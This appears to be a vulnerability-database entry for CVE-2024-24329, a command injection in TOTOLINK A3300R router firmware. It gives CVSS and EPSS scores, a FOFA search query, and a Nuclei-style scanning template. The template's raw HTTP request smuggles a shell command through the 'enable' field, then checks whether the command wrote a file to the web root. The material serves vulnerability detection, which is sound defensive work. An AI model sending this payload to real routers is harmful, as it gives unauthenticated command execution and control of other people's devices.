SecurityContext

CVE-2024-24329: TotoLink Router setPortForwardRules - Command Injection

Classification

  • Cwe: CWE-78
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.06172
  • Epss percentile: 0.93665
  • Cpe: cpe:2.3:o:totolink:a3300r_firmware:17.0.0cu.557_b20221024:*:*:*:*:*:*:*

Metadata

  • Fofa-query: title="totolink"
  • Product: a3300r_firmware
  • Vendor: totolink

Products

ProductIndexedUrl
totolink:a3300r_firmwareyes/v1/products/totolink/a3300r_firmware

Labels

  • Name: TOTOLINK A3300R - Command Injection
  • Impact: Attackers can execute arbitrary commands on the device remotely, potentially leading to full device control.
  • Remediation: Update to the latest firmware version provided by TOTOLINK.
  • Vulnerability type: command_injection
  • Vulnerability impact: remote_code_execution
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2024-24329
  • Not known: requirements

```yaml

id: CVE-2024-24329

info:

name: TotoLink Router setPortForwardRules - Command Injection

author: pussycat0x

severity: critical

description: |

TOTOLINK A3300R V17.0.0cu.557_B20221024 was discovered to contain a command injection vulnerability via the enable parameter in the setPortForwardRules function.

impact: |

Unauthenticated attackers can execute arbitrary OS commands via the enable parameter, potentially compromising the entire TOTOLINK router.

remediation: |

Update TOTOLINK A3300R firmware to a version newer than V17.0.0cu.557_B20221024.

reference:

- https://github.com/funny-mud-peee/IoT-vuls/blob/main/TOTOLINK%20A3300R/10/TOTOlink%20A3300R%20setPortForwardRules.md

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2024-24329

cwe-id: CWE-78

epss-score: 0.06172

epss-percentile: 0.93665

cpe: cpe:2.3:o:totolink:a3300r_firmware:17.0.0cu.557_b20221024:*:*:*:*:*:*:*

metadata:

vendor: totolink

product: a3300r_firmware

fofa-query: title="totolink"

tags: cve,cve2024,totolink,router,toto_link,unauth,intrusive,vkev,vuln

http:

- raw:

- |

POST /cgi-bin/cstecgi.cgi?token=C6F41C563E86A379 HTTP/1.1

Host: {{Hostname}}

Accept: application/json, text/javascript, */*; q=0.01

X-Requested-With: XMLHttpRequest

Origin: {{RootURL}}

Referer: {{RootURL}}/advance/portfwd.html?token=C6F41C563E86A379

{"enable":"1`ls>/web/{{randstr}}.txt`","addEffect":"0","topicurl":"setPortForwardRules"}

- |

GET /{{randstr}}.txt HTTP/1.1

Host: {{Hostname}}

Referer: {{RootURL}}/advance/portfwd.html?token=C6F41C563E86A379

matchers:

- type: dsl

dsl:

- 'status_code_1 == 200 && status_code_2 == 200'

- 'contains(body_1, "\"success\":true")'

- 'contains_all(body_2, "bin","etc")'

condition: and

digest: 4a0a00473045022100c39e09756194048226651303ad2cc28aa173b3b4b8187e3bf3b28248d86b683902206e629a965c870504340d9fda404c34aaf61967b20b6e0a4bdd633a0cde873a6a:922c64590222798bb761d5b6d8e72950

```